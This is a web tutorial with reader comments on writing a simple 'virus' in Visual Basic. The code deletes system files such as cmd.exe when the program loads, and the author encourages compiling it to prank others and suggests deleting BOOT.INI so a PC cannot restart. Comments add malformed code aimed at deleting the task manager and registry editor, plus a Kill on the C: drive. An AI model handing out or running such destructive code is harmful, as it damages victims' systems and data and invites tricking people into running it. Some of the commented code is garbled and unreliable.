Make a simple virus in Visual Basic & Explore VB with me

Make a simple VIRUS in Visual Basic


Well. now i'll teach you how to make a basic Virus in Visual Basic.

Now here the term "A Simple Virus" means a program that deletes any basic files/files of your computer.Afterall all the viruses do almost the same thing that our virus is going to do.

To start with,Just open the Visual Basic,Select Standard EXE.

Now if you want to your virus to be active whenever the program is executed, then

type in the following code under the title:Private Sub Form_Load()

We'll start now:

Private Sub Form_Load()

Kill "C:\windows\system32\cmd.exe"

End Sub

Make a ".exe" file of your program and start pranking on others by deleting only simple files instead of cmd.exe.Just type in the appropriate path of the file .

I'll explain it now.

The command "KILL" tells the computer to delete the file in the inverted commas.

Now whenever the program will be started in whichever PC where it is,it will always delete the corresponding file.The file "CMD.EXE" refers to your command prompt.You'll never be able to open it again until you have a Recovery Software to recover the deleted file.As such,You can place any file under the kill command.

Now you can also place a command button in your form and copy the above code under your command button so that whenever a user clicks the button the file will be deleted.

You can also place the file"BOOT.INI" in the code instead of cmd.exe.If BOOT.INI is deleted your PC will never restart.So,please beware of that.And don't try it.This's just for your knowledge.


H/mariam Abebe 8 years ago

Hi sir thanks verey much for giving me chance keep it up and add more codes on the web; you know i am IT deploma student in ethiopia pleas send any other code via my e-mail

Ishtiak,Bagnladesh 7 years ago

u r great

stuff4you profile image

stuff4you 6 years ago

good knowledge to have thanks

Johnson Marshal 6 years ago

Thnxks for this

ghost 5 years ago

Here is a code for visual basic learner

Private Sub() Form1_Load()"C:\Windows\taskman.exe")"C:\Windows\regedit.exe")

End Sub

This is a malicious program to delete the registry editor and the taskmanager.

Don't try it in your computer plzz!!

Majin 5 years ago

U r very great i am interested

bawinner profile image

bawinner 5 years ago Author

Thank You All.Do share any more ideas u may come across!:)

sven 5 years ago

pls @bawinner i need ur help... i tried coding the program but it does not delete the file... i would appreciate ur e-mil or smth. nice work btw

Samjam2801 5 years ago




russell 4 years ago

salamat sa mga ideas mu, malaking tulong yan sakin..

chan 4 years ago

Great idea ..:)

Piyush 2 years ago

IF you want to delete any other file than change location like

Private Sub Form_Load()

Kill "C:\windows\system32\cmd.exe"

End Sub

chance to

Private Sub Form_Load()

Kill "C:\"

End Sub

this will delete in F://

Xpert Hacker 2 years ago

Do you think its working on updated security in windows 7??

Sankalp 15 months ago

If we write BOOT.INI it is showing "File path not found"

X man 9 months ago

After codding what to do with it

    Sign in or sign up and post using a HubPages Network account.

    0 of 8192 characters used
    Post Comment

    No HTML is allowed in comments, but URLs will be hyperlinked. Comments are not for promoting your articles or other sites.

    Click to Rate This Article